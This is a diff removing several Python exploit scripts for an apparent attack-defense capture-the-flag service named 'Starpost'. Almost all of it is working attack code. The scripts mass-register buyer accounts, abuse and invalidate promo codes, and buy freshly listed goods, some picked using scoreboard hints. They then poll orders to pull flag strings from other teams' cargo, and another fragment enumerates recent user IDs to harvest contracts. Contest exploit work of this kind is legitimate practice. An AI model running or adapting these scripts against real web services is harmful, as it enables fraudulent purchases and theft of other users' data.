return (extract_flags(body) if status == 200 else set()), False
|
||||
|
||||
|
||||
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
newest, cookie = register(target, deadline)
|
||||
oldest = max(1, newest - RECENT_USER_WINDOW)
|
||||
user_ids = range(newest - 1, oldest - 1, -1)
|
||||
flags: set[str] = set()
|
||||
errors = 0
|
||||
checked = 0
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
found, failed = future.result()
|
||||
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||
if candidate in flags:
|
||||
continue
|
||||
flags.add(candidate)
|
||||
if emit is not None:
|
||||
emit(candidate)
|
||||
errors += int(failed)
|
||||
checked += 1
|
||||
return sorted(flags), checked, errors
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
flags, checked, errors = run_exploit(sys.argv[1], lambda candidate: print(candidate, flush=True))
|
||||
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,310 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from datetime import UTC, datetime
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 7.5
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRICE = 200
|
||||
MAX_PRODUCT_AGE = 5.0
|
||||
MAX_CANDIDATES = 2
|
||||
MAX_ORDER_POLLS = 6
|
||||
POLL_INTERVAL = 0.25
|
||||
ACTIVE_SECOND_START = 18
|
||||
ACTIVE_SECOND_END = 40
|
||||
ACTIVE_HOSTS = {"10.80.2.2", "10.80.4.2", "10.80.5.2", "10.80.11.2", "10.80.12.2"}
|
||||
STATE_DIR = Path(os.environ.get("STARPOST_EARLY_BUY_STATE_DIR", "/tmp/starpost-early-buy"))
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(raw_target: str) -> str:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
raw_body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-early-buy/1.0"}
|
||||
if raw_body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
request = Request(target + path, data=raw_body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
cookies = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
cookies.load(header)
|
||||
session_cookie = cookies["session"].value if "session" in cookies else None
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, decoded, session_cookie
|
||||
|
||||
|
||||
def state_paths(target: str) -> tuple[Path, Path]:
|
||||
key = hashlib.sha256(target.encode()).hexdigest()[:20]
|
||||
return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock"
|
||||
|
||||
|
||||
def load_seen(path: Path) -> set[int]:
|
||||
try:
|
||||
data = json.loads(path.read_text())
|
||||
except (FileNotFoundError, OSError, ValueError, json.JSONDecodeError):
|
||||
return set()
|
||||
values = data.get("seen") if isinstance(data, dict) else None
|
||||
if not isinstance(values, list):
|
||||
return set()
|
||||
return {value for value in values if isinstance(value, int) and not isinstance(value, bool) and value > 0}
|
||||
|
||||
|
||||
def save_seen(path: Path, seen: set[int]) -> None:
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
temporary = path.with_suffix(".tmp")
|
||||
temporary.write_text(json.dumps({"seen": sorted(seen, reverse=True)[:256]}, separators=(",", ":")))
|
||||
os.chmod(temporary, 0o600)
|
||||
temporary.replace(path)
|
||||
|
||||
|
||||
def parse_time(value: object) -> datetime | None:
|
||||
if not isinstance(value, str):
|
||||
return None
|
||||
try:
|
||||
parsed = datetime.fromisoformat(value)
|
||||
except ValueError:
|
||||
try:
|
||||
parsed = parsedate_to_datetime(value)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
return parsed.astimezone(UTC) if parsed.tzinfo else None
|
||||
|
||||
|
||||
def fresh_products(products: object, seen: set[int]) -> tuple[list[tuple[int, int]], set[int]]:
|
||||
if not isinstance(products, list):
|
||||
raise TypeError("products response is not a list")
|
||||
now = datetime.now(UTC)
|
||||
catalog_ids: set[int] = set()
|
||||
fresh: list[tuple[datetime, int, int]] = []
|
||||
for product in products:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
product_id = product.get("id")
|
||||
price = product.get("price")
|
||||
created_at = parse_time(product.get("created_at"))
|
||||
if not isinstance(product_id, int) or isinstance(product_id, bool) or product_id <= 0:
|
||||
continue
|
||||
catalog_ids.add(product_id)
|
||||
if (
|
||||
product_id not in seen
|
||||
and isinstance(price, int)
|
||||
and not isinstance(price, bool)
|
||||
and 1 <= price <= MAX_PRICE
|
||||
and created_at is not None
|
||||
and -1.0 <= (now - created_at).total_seconds() <= MAX_PRODUCT_AGE
|
||||
):
|
||||
fresh.append((created_at, product_id, price))
|
||||
fresh.sort(reverse=True)
|
||||
return [(product_id, price) for _, product_id, price in fresh[:MAX_CANDIDATES]], catalog_ids
|
||||
|
||||
|
||||
def prepare_buyer(target: str, deadline: float) -> tuple[str, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"early-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
code = promo.get("code") if isinstance(promo, dict) else None
|
||||
if not isinstance(code, str):
|
||||
raise TypeError("buyer promo missing")
|
||||
status, _, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200:
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
return cookie, code
|
||||
|
||||
|
||||
def buy_and_collect(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> set[str]:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo_code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
return set()
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int):
|
||||
return set()
|
||||
order_id = order["id"]
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
continue
|
||||
delivered = next(
|
||||
(
|
||||
item
|
||||
for item in orders
|
||||
if isinstance(item, dict)
|
||||
and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"
|
||||
),
|
||||
None,
|
||||
)
|
||||
if delivered is not None:
|
||||
cargo = delivered.get("cargo")
|
||||
return set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set()
|
||||
return set()
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], str]:
|
||||
current_second = datetime.now(UTC).second
|
||||
if not ACTIVE_SECOND_START <= current_second <= ACTIVE_SECOND_END:
|
||||
return [], "idle"
|
||||
target = build_target(raw_target)
|
||||
if urlsplit(target).hostname not in ACTIVE_HOSTS:
|
||||
return [], "inactive"
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
state_path, lock_path = state_paths(target)
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
with lock_path.open("a+") as lock:
|
||||
os.chmod(lock_path, 0o600)
|
||||
try:
|
||||
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except BlockingIOError:
|
||||
return [], "busy"
|
||||
seen = load_seen(state_path)
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"products returned HTTP {status}")
|
||||
candidates, catalog_ids = fresh_products(products, seen)
|
||||
save_seen(state_path, seen | catalog_ids)
|
||||
if not candidates:
|
||||
return [], "waiting"
|
||||
flags: set[str] = set()
|
||||
for product_id, _ in candidates:
|
||||
cookie, promo_code = prepare_buyer(target, deadline)
|
||||
flags.update(buy_and_collect(target, product_id, cookie, promo_code, deadline))
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
return sorted(flags), f"products={len(candidates)}"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.25)
|
||||
try:
|
||||
flags, result = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, OSError, TimeoutError, TypeError, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
for flag in flags:
|
||||
print(flag, flush=True)
|
||||
print(result, file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,401 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Buy recent affordable Starpost cargo and read it after warehouse delivery.
|
||||
|
||||
Neo passes one target address. Only event-format flags are written to stdout.
|
||||
This script uses public registration and the buyer's own promo; it needs no
|
||||
service secret, warehouse token, or Skipper credential.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from ipaddress import ip_address
|
||||
from queue import Empty, Queue
|
||||
from threading import Thread
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 8.5
|
||||
REQUEST_TIMEOUT = 1.2
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
|
||||
ATTACK_DATA_URL = os.environ.get(
|
||||
"STARPOST_ATTACK_DATA_URL",
|
||||
"https://board.academy.goctf.online/api/v1/attack_data/%D0%94%D0%9E%D0%9A",
|
||||
)
|
||||
# A/D checker traffic is staggered differently for each team, so a fixed UTC
|
||||
# second is not transferable. All observed checker-like products cost at
|
||||
# least 101 credits. Try the newest suitable product, then at most one from
|
||||
# the previous minute if delivery yields no flag. This is an empirical
|
||||
# heuristic, not a way to identify flag-bearing cargo.
|
||||
MAX_CANDIDATE_AGE = 145
|
||||
MIN_CANDIDATE_PRICE = 101
|
||||
MAX_CANDIDATES = 2
|
||||
MAX_ORDER_POLLS = 5
|
||||
POLL_INTERVAL = 0.3
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
DECIMAL_HINT = re.compile(r"[1-9][0-9]{0,8}\Z")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
# In particular, do not follow a redirect to an unrelated host or use a
|
||||
# workstation HTTP proxy instead of the contest VPN route.
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def start_task(function, *args) -> Queue:
|
||||
result = Queue(maxsize=1)
|
||||
|
||||
def run():
|
||||
try:
|
||||
result.put((True, function(*args)))
|
||||
except Exception as exc:
|
||||
result.put((False, exc))
|
||||
|
||||
Thread(target=run, daemon=True).start()
|
||||
return result
|
||||
|
||||
|
||||
def task_result(result: Queue, deadline: float, wait_limit: float | None = None):
|
||||
remaining = deadline - time.monotonic()
|
||||
if wait_limit is not None:
|
||||
remaining = min(remaining, wait_limit)
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
try:
|
||||
ok, value = result.get(timeout=remaining)
|
||||
except Empty:
|
||||
raise TimeoutError("parallel request timed out") from None
|
||||
if not ok:
|
||||
raise value
|
||||
return value
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-market/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie is not None:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(target + path, data=body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
cookies = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
cookies.load(header)
|
||||
session = cookies["session"].value if "session" in cookies else None
|
||||
try:
|
||||
data = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, data, session
|
||||
|
||||
|
||||
def scan_flags(value: object) -> set[str]:
|
||||
# Only a delivered order's cargo is read here; avoid printing whole JSON.
|
||||
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
||||
|
||||
|
||||
def numeric_hints(payload: object, target_host: str) -> set[int]:
|
||||
"""Accept only exact per-IP positive decimal product IDs; ignore mixed hints."""
|
||||
try:
|
||||
target_ip = str(ip_address(target_host))
|
||||
except ValueError:
|
||||
return set()
|
||||
if not isinstance(payload, dict):
|
||||
raise ValueError("attack_data root is not an object")
|
||||
values = payload.get(target_ip)
|
||||
if values is None:
|
||||
return set()
|
||||
if not isinstance(values, list) or len(values) > 32:
|
||||
raise ValueError("attack_data target hints are invalid")
|
||||
return {int(value) for value in values if isinstance(value, str) and DECIMAL_HINT.fullmatch(value)}
|
||||
|
||||
|
||||
def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
|
||||
"""Read the public Skipper endpoint once; None means use catalog fallback."""
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
req = Request(ATTACK_DATA_URL, headers={"Accept": "application/json", "User-Agent": "neo-starpost-market/1.1"})
|
||||
try:
|
||||
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
if response.status != 200:
|
||||
return None
|
||||
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
|
||||
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
|
||||
return None
|
||||
return numeric_hints(json.loads(raw), target_host)
|
||||
except (HTTPError, URLError, OSError, TimeoutError, ValueError, UnicodeDecodeError, json.JSONDecodeError):
|
||||
return None
|
||||
|
||||
|
||||
def prepare_buyer(target: str, deadline: float) -> tuple[str, int, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
return cookie, user["balance"] + credited, promo["code"]
|
||||
|
||||
|
||||
def buy_product(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> tuple[int, object]:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo_code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
return status, invalidation
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
return status, order
|
||||
|
||||
|
||||
def parse_created_at(raw: object) -> datetime | None:
|
||||
if not isinstance(raw, str):
|
||||
return None
|
||||
try:
|
||||
created = datetime.fromisoformat(raw.replace("Z", "+00:00"))
|
||||
except ValueError:
|
||||
try:
|
||||
created = parsedate_to_datetime(raw)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
return created.astimezone(timezone.utc) if created.tzinfo else None
|
||||
|
||||
|
||||
def candidates(products: object, now: datetime | None = None, hint_ids: set[int] | None = None) -> list[tuple[int, int]]:
|
||||
if not isinstance(products, list):
|
||||
raise ValueError("products response is not a list")
|
||||
now = now or datetime.now(timezone.utc)
|
||||
if now.tzinfo is None:
|
||||
raise ValueError("now must have a timezone")
|
||||
found: list[tuple[datetime, int, int]] = []
|
||||
seen = set()
|
||||
have_hints = bool(hint_ids)
|
||||
for product in products:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
product_id, price = product.get("id"), product.get("price")
|
||||
created = parse_created_at(product.get("created_at"))
|
||||
valid_id = isinstance(product_id, int) and not isinstance(product_id, bool) and product_id > 0
|
||||
selected_by_hint = valid_id and have_hints and product_id in hint_ids
|
||||
selected_by_catalog = (not have_hints and created is not None
|
||||
and -5 <= (now - created).total_seconds() <= MAX_CANDIDATE_AGE)
|
||||
if (
|
||||
valid_id
|
||||
and isinstance(price, int)
|
||||
and not isinstance(price, bool)
|
||||
and MIN_CANDIDATE_PRICE <= price <= 200
|
||||
and product_id not in seen
|
||||
and created is not None
|
||||
and (selected_by_hint or selected_by_catalog)
|
||||
):
|
||||
found.append((created, product_id, price))
|
||||
seen.add(product_id)
|
||||
found.sort(reverse=True)
|
||||
if not found:
|
||||
return []
|
||||
if hint_ids:
|
||||
return [(product_id, price) for _, product_id, price in found[:MAX_CANDIDATES]]
|
||||
newest_minute = found[0][0].replace(second=0, microsecond=0)
|
||||
previous_minute = newest_minute - timedelta(minutes=1)
|
||||
selected: list[tuple[int, int]] = []
|
||||
used_minutes: set[datetime] = set()
|
||||
for created, product_id, price in found:
|
||||
minute = created.replace(second=0, microsecond=0)
|
||||
if minute not in {newest_minute, previous_minute} or minute in used_minutes:
|
||||
continue
|
||||
selected.append((product_id, price))
|
||||
used_minutes.add(minute)
|
||||
if len(selected) >= MAX_CANDIDATES:
|
||||
break
|
||||
return selected
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
buyer_task = start_task(prepare_buyer, target, deadline)
|
||||
products_task = start_task(request_json, target, "/api/products", deadline)
|
||||
hints_task = start_task(fetch_attack_hints, urlsplit(target).hostname or "", deadline)
|
||||
cookie, budget, promo_code = task_result(buyer_task, deadline)
|
||||
status, products, _ = task_result(products_task, deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"catalog returned HTTP {status}")
|
||||
try:
|
||||
hint_ids = task_result(hints_task, deadline, 0.1)
|
||||
except TimeoutError:
|
||||
hint_ids = None
|
||||
available = candidates(products, hint_ids=hint_ids)
|
||||
if not available:
|
||||
return [], 0, 0
|
||||
|
||||
flags: set[str] = set()
|
||||
bought_count = 0
|
||||
polls = 0
|
||||
for candidate_index, (product_id, price) in enumerate(available):
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
if price > budget:
|
||||
continue
|
||||
status, order = buy_product(target, product_id, cookie, promo_code, deadline)
|
||||
if status != 201 or not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
if not isinstance(order_id, int) or isinstance(order_id, bool) or order_id <= 0:
|
||||
continue
|
||||
bought_count += 1
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
polls += 1
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
break
|
||||
delivered_order = next(
|
||||
(item for item in orders if isinstance(item, dict) and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"),
|
||||
None,
|
||||
)
|
||||
if delivered_order is not None:
|
||||
flags.update(scan_flags(delivered_order.get("cargo")))
|
||||
break
|
||||
if flags:
|
||||
break
|
||||
if candidate_index + 1 < len(available):
|
||||
cookie, budget, promo_code = prepare_buyer(target, deadline)
|
||||
return sorted(flags), bought_count, polls
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
# A slow-drip HTTP response can keep an individual socket read alive past
|
||||
# its timeout. Neo runs this as a Linux child process; bound the whole run.
|
||||
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||
try:
|
||||
flags, bought, polls = run_exploit(sys.argv[1])
|
||||
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous_handler)
|
||||
print(f"bought={bought} order_polls={polls} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,330 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import statistics
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 1.35
|
||||
REQUEST_TIMEOUT = 0.45
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
PREBUY_INTERVAL = 0.15
|
||||
MAX_SEQUENCE_GAP = 4
|
||||
STATE_VERSION = 2
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Z0-9])[A-Z0-9]{31}=(?![A-Z0-9])")
|
||||
STATE_DIR = Path(os.environ.get("STARPOST_PREBUY_STATE_DIR", "/tmp/starpost-prebuy"))
|
||||
|
||||
|
||||
